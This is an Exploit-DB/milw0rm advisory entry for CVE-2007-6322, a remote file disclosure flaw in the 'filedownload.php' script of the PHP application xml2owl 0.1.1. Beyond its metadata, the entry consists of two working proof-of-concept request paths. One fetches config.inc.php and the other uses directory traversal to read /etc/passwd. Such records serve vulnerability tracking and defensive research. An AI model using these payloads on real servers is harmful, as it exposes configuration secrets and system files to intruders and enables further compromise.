xml2owl 0.1.1 - 'filedownload.php' Remote File Disclosure

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2007-12-12 
date_updated: 2016-10-20 
verified: 1 
codes: OSVDB-40090;CVE-2007-6322 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comxml2owl-0.1.1.tar.gz

xml2owl 0.1.1 (filedownload.php) Remote File Disclosure Vulnerability
D.s : http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
POC :
     /xml2owl-0.1.1/filedownload.php?file=config.inc.php
     /xml2owl-0.1.1/filedownload.php?file=../../../../../../../etc/passwd

# milw0rm.com [2007-12-13]